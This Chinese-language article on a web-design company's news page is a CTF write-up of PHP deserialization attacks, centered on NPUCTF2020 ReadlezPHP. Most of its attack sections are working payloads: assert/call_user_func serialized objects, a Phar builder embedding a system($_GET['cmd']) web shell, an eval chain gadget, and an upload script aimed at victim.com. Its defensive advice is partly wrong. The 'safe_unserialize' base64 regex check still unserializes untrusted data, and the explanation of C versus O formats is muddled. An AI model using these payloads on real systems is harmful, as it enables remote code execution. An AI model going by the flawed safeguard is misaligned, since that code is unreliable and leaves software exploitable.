尧图网站建设 尧图网络
  • 首页
  • 关于我们
  • 服务项目
  • 案例展示
  • 建站流程
  • 资讯中心
  • 联系我们
首页/资讯中心/详情

PHP 反序列化漏洞实战:NPUCTF2020 ReadlezPHP 利用 __destruct 执行任意代码

PHP 反序列化漏洞实战:NPUCTF2020 ReadlezPHP 利用 __destruct 执行任意代码
📅 发布时间:2026/7/7 10:09:42

PHP反序列化漏洞深度剖析:从魔术方法到任意代码执行实战

1. 反序列化漏洞的本质与危害

PHP反序列化漏洞长期位居OWASP Top 10危险漏洞之列,其本质在于程序对用户可控的序列化数据进行了不当的反序列化操作。当攻击者精心构造的恶意序列化数据被unserialize()函数处理时,会触发对象中的魔术方法执行非预期操作。

典型攻击场景:

  • 用户输入直接传递给unserialize()
  • 会话数据(PHP Session)的反序列化处理
  • 缓存数据的读取与反序列化
  • 跨服务通信时的数据反序列化

漏洞危害等级矩阵:

危害类型影响范围攻击复杂度
RCE服务器完全控制中高
文件操作敏感数据泄露中
权限提升业务逻辑绕过低

2. 魔术方法的触发机制分析

PHP中与反序列化相关的关键魔术方法包括:

__wakeup() // 反序列化时立即触发 __destruct() // 对象销毁时触发 __toString() // 对象被当作字符串处理时触发

以__destruct()为例的典型调用链:

unserialize() -> 创建对象 -> __wakeup() -> [对象使用周期] -> __destruct()

关键特性:

  • __destruct()的触发时机具有确定性
  • 方法内通常包含资源释放等敏感操作
  • 参数控制路径可达性高

3. NPUCTF2020 ReadlezPHP漏洞复现

3.1 环境搭建与代码审计

靶机关键代码片段:

class HelloPhp { public $a; public $b; public function __construct(){ $this->a = "Y-m-d h:i:s"; $this->b = "date"; } public function __destruct(){ $a = $this->a; $b = $this->b; echo $b($a); // 动态函数调用 } } $ppp = unserialize($_GET["data"]);

漏洞点分析:

  1. 用户可控的data参数直接传入unserialize()
  2. __destruct()中存在动态函数调用$b($a)
  3. 未对$b和$a进行任何过滤

3.2 两种攻击Payload构造

方案一:assert函数执行
class HelloPhp { public $a = 'phpinfo();'; public $b = 'assert'; } $obj = new HelloPhp(); echo urlencode(serialize($obj));

生成结果:

O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
方案二:call_user_func调用
class HelloPhp { public $a = 'phpinfo'; public $b = 'call_user_func'; } $obj = new HelloPhp(); echo urlencode(serialize($obj));

技术对比:

方案适用场景限制条件
assert单条语句执行PHP7.2后可能被禁用
call_user_func多参数函数调用需要函数名作为第一个参数

4. 漏洞利用的进阶技巧

4.1 属性数量欺骗

PHP反序列化时的C格式(完整类名)与O格式(对象)处理差异:

// 正常序列化 O:4:"Test":1:{s:1:"a";s:1:"b";} // 属性数量欺骗 O:4:"Test":2:{s:1:"a";s:1:"b";}

绕过技巧:

  • 修改序列化字符串中的属性数量
  • 利用__wakeup()中属性检查的缺陷

4.2 Phar协议利用

通过Phar文件触发反序列化:

// 生成恶意phar文件 $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub('<?php __HALT_COMPILER(); ?>'); class Evil { function __destruct() { system($_GET['cmd']); } } $obj = new Evil(); $phar->setMetadata($obj); $phar->stopBuffering();

利用条件:

  • 存在文件操作函数如file_exists()
  • 可控制文件名部分内容
  • PHP版本<8.0

5. 防御方案与最佳实践

5.1 输入过滤策略

function safe_unserialize($input) { if (preg_match('/^[a-zA-Z0-9\/+]*={0,2}$/', $input)) { return unserialize(base64_decode($input)); } throw new Exception('Invalid serialized data'); }

5.2 运行时防护

推荐配置:

; php.ini安全配置 disable_functions = assert,system,passthru allow_url_include = Off

5.3 架构层面防护

  1. 使用JSON替代序列化
  2. 实现签名验证机制
  3. 引入白名单类限制

防护效果对比:

防护层级实现成本防护效果
输入过滤低中
运行时中高
架构设计高极高

6. CTF实战中的变种题型

6.1 链式调用漏洞

class A { public $b; function __destruct() { $this->b->action(); } } class B { function action() { eval($_GET['cmd']); } }

利用要点:

  • 构造完整的对象调用链
  • 控制每个环节的属性值

6.2 真实环境中的组合利用

某CMS漏洞实例:

  1. 通过文件上传获取Phar文件路径
  2. 利用图片处理函数触发Phar反序列化
  3. 通过__destruct()执行系统命令
# 自动化利用脚本示例 import requests TARGET = 'http://victim.com/upload.php' PHAR = 'exploit.phar' with open(PHAR, 'rb') as f: files = {'file': ('image.jpg', f, 'image/jpeg')} r = requests.post(TARGET, files=files) if r.status_code == 200: print(f'File uploaded to: {r.json()["path"]}') # 触发反序列化...

在实际渗透测试中,反序列化漏洞往往需要结合其他漏洞形成攻击链,这要求安全人员对PHP对象生命周期和魔术方法调用机制有深刻理解。建议开发者在设计涉及序列化的功能时,优先考虑使用JSON等更安全的替代方案,并对必要的反序列化操作实施严格的输入验证和类白名单控制。

相关新闻

  • HEIF Utility:Windows用户处理iPhone照片的终极免费解决方案
  • 3步配置IPXWrapper:让Windows 10/11完美运行经典游戏联机
  • 抖音无水印视频下载完整指南:douyin-downloader一键批量获取教程

最新新闻

  • OptiStruct:试验和仿真模型对标—(坐标)模态置信因子
  • COCO 转 YOLO 格式脚本优化:3步解决类别ID不连续与性能瓶颈
  • 5分钟终极指南:一键恢复经典B站界面,告别新版烦恼!
  • 如何5分钟免费安装DeepL划词翻译插件:终极浏览器翻译解决方案
  • Adobe创意软件免费激活终极指南:三步解锁Photoshop全家桶
  • 端侧大模型赋能具身智能,视程空间Pandora打造机器人原生AI大脑

日新闻

  • Android逆向分析全能助手:集成化工具链与自动化工作流设计
  • 面搜索(Faceted Search)原理与工程实践指南
  • 神经网络调参避坑指南:从5个常见Loss曲线形态定位超参数问题

周新闻

  • 基于YOLOv12的番茄成熟度智能检测系统开发
  • 终极RimWorld模组管理指南:用RimSort告别模组冲突烦恼
  • AI Agent框架开发:从理论到实践的完整指南

月新闻

  • 2026年6月公司网站搭建最新热门渠道测评:四大低成本/零代码平台对比+避坑
  • 【Linux】Linux arm 编译QT程序,出现expected “}“报错
  • 【MATLAB例程】四基站二维AOA定位与距离辅助增强对比仿真。基于角度观测和测距修正的固定目标平面定位精度分析

关于尧图

  • 公司简介
  • 团队介绍
  • 企业文化
  • 荣誉资质

服务项目

  • 定制开发
  • 电商建站
  • UI 设计
  • 运维服务

快速链接

  • 案例展示
  • 建站流程
  • 常见问题
  • 资讯中心

联系方式

  • 📍北京市朝阳区互联网产业园 A 座 10 层
  • 📞400-888-8888
  • ✉️contact@rkmt.cn
  • 🕐周一至周日 9:00-21:00

© 2024 北京尧图网络科技有限公司 版权所有 | 京 ICP 备 XXXXXXXX 号